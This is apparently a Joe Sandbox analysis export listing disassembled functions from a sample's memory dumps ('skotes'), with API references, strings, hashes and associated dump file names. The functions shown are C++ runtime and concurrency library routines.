Opcode ID: 6b2ece40a82a6fdbc74500c7d62658d87773cddfb14d70e6bad641497f0252de
Instruction ID: 50cd95faddd5d8d84d22b0b9703bd6e494039768a86329a3038777c7d7a7e8e4
Opcode Fuzzy Hash: 6b2ece40a82a6fdbc74500c7d62658d87773cddfb14d70e6bad641497f0252de
Instruction Fuzzy Hash: D4113639A20220ABCB15EF98E885D6DB3A5AFE4360B154065EC1297382CB74ED31CFD0

Function 00207630 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00207654
__Mtx_unlock.LIBCPMT ref: 002076AA

Strings

j718, xrefs: 00207641, 00207691

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: j718
API String ID: 1418687624-3131343938
Opcode ID: 29b56896f0cbb8d2d8bd890d3b607412d8a99e36d0e87d1212bcc0e22da2b8cd
Instruction ID: a352aa5dd299896f6defbc1a7e06e405e4a6e6dd783dfeb418a5b2879e65ade2
Opcode Fuzzy Hash: 29b56896f0cbb8d2d8bd890d3b607412d8a99e36d0e87d1212bcc0e22da2b8cd
Instruction Fuzzy Hash: 6C01D2B1D48748ABD711DF68DD01F56B7ACE70AB24F104769FC16C3BD2EB36A8208A51

Function 00210C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00210CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00210D2A

Strings

p[%, xrefs: 00210CCF

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[%
API String ID: 3303180142-3120292250
Opcode ID: 7df924b3a955db0a045c2cda4e881e0b6a0828953c6984461ccf746fcba645d5
Instruction ID: 68025467fb4a2493563ae66456c153875198146d5212971cbf888c4c231b0873
Opcode Fuzzy Hash: 7df924b3a955db0a045c2cda4e881e0b6a0828953c6984461ccf746fcba645d5
Instruction Fuzzy Hash: C8015260A357199ADB10AFF875A53AD66E0AF28314F60405AE445EB2C3CEB08EE08F55

Function 0020CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,002165E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0020CAFC
CreateSemaphoreW.KERNEL32(?,002165E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0020CB1E

Strings

e!, xrefs: 0020CB12, 0020CAF0

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e!
API String ID: 1078844751-2966559520
Opcode ID: 6dba194b63e2f0cca70bfd578e55d0f4029dd615dc42211833ed67bcf9a60774
Instruction ID: 50f405c928fa429e6a8ded179d4cd66a514b3fae9ef038fcbe92bb71a501804b
Opcode Fuzzy Hash: 6dba194b63e2f0cca70bfd578e55d0f4029dd615dc42211833ed67bcf9a60774
Instruction Fuzzy Hash: E9F0583A511229ABCF229F80EC088AE7F2AFF08761B148110FE0866170C7729C70EFD0

Function 001F2B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 001F2B63

Strings

This function cannot be called on a default constructed task, xrefs: 001F2B43
j718, xrefs: 001F2B36

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: This function cannot be called on a default constructed task$j718
API String ID: 2659868963-3684162810
Opcode ID: 85d5e670fbd5c8ba2f0cc2ae39a7f89428aee8e43676ec35e7fef542109ac195
Instruction ID: 8246b1b2131f90fa50c195bf825e28b600a9a947ba30e743e3804893101b75cc
Opcode Fuzzy Hash: 85d5e670fbd5c8ba2f0cc2ae39a7f89428aee8e43676ec35e7fef542109ac195
Instruction Fuzzy Hash: 23F0A071D3031CABC714EF68984199EFBF9EF15300F5042AEF84567241EBB01AA8CB95

Function 0021B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0021B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0021B961

Strings

pContext, xrefs: 0021B959

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: c730a199949f1278ed7adccd6fb8adf584d7b4a812535e589daa624475d44250
Instruction ID: a6d652cabe8edc12f97718680523a983ba07ea6dbeaa3780e6879fd11c3eb255
Opcode Fuzzy Hash: c730a199949f1278ed7adccd6fb8adf584d7b4a812535e589daa624475d44250
Instruction Fuzzy Hash: EAE06839B1021467CB04FBA4FC8AC9DB7B9AFC17147004116EA11A3381EB70AA71CED0

Function 002134CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002134FC

Strings

version, xrefs: 002134E1
pScheduler, xrefs: 002134F4

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
